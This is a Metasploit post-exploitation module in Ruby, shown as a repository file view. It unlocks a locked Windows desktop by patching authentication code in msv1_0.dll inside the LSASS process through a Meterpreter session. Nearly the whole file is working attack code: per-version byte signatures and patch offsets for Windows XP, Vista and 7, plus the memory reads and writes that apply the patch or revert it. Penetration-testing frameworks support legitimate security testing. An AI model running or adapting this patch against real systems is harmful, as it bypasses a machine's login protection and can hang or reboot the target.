Michael Schierl
21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
110 lines
3.9 KiB
Ruby
110 lines
3.9 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'metasm'
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class Metasploit3 < Msf::Post
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def initialize(info={})
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super(update_info(info,
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'Name' => 'Windows Escalate Locked Desktop Unlocker',
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'Description' => %q{
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This module unlocks a locked Windows desktop by patching
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the respective code inside the LSASS.exe process. This
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patching process can result in the target system hanging or
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even rebooting, so be careful when using this module on
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production systems.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'L4teral <l4teral[4t]gmail com>', # Meterpreter script
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'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16
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],
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'Version' => '$Revision$',
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ],
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'References' =>
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[
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[ 'URL', 'http://www.storm.net.nz/projects/16' ]
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]
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))
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register_options([
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OptBool.new('REVERT', [false, "Enable this option to revert the in-memory patch and enable locking again", false])
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], self.class)
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end
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def unsupported
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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def run
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revert = datastore['REVERT']
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targets = [
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{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x9927, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x99cc, :os => /Windows XP.*Service Pack 2/ },
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{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x981b, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x98c0, :os => /Windows XP.*Service Pack 3/ },
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{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb76a, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb827, :os => /Windows Vista/ },
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{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xb391, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xb44e, :os => /Windows Vista/ },
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{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xacf6, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xadb3, :os => /Windows Vista/ },
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{ :sig => "8bff558bec81ec88000000a1", :sigoffset => 0xe881, :orig_code => "32c0", :patch => "b001", :patchoffset => 0xe93e, :os => /Windows 7/ },
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{ :sig => "8bff558bec83ec50a1", :sigoffset => 0x97d3, :orig_code => "32c0", :patch => "b001", :patchoffset => 0x9878, :os => /Windows XP.*Service Pack 3 - spanish/ }
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]
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unsupported if client.platform !~ /win32|win64/i
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os = client.sys.config.sysinfo['OS']
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targets.each do |t|
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if os =~ t[:os]
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target = t
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print_status("OS '#{os}' found in known targets")
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pid = client.sys.process["lsass.exe"]
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p = client.sys.process.open(pid, PROCESS_ALL_ACCESS)
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dllbase = p.image["msv1_0.dll"]
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sig = p.memory.read(dllbase + target[:sigoffset], target[:sig].length / 2).unpack("H*")[0]
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if sig != target[:sig]
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print_error("Found signature does not match")
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next
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end
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old_code = p.memory.read(dllbase + target[:patchoffset], target[:orig_code].length / 2).unpack("H*")[0]
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if !((old_code == target[:orig_code] && !revert) || (old_code == target[:patch] && revert))
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print_error("Found code does not match")
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next
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end
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print_status("Patching...")
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new_code = revert ? target[:orig_code] : target[:patch]
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p.memory.write(dllbase + target[:patchoffset], [new_code].pack("H*"))
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written_code = p.memory.read(dllbase + target[:patchoffset], target[:patch].length / 2).unpack("H*")[0]
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if ((written_code == target[:patch] && !revert) || (written_code == target[:orig_code] && revert))
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print_status("Done!")
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raise Rex::Script::Completed
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else
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print_error("Failed!")
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next
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end
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end
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end
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print_error("No working target found")
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end
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end
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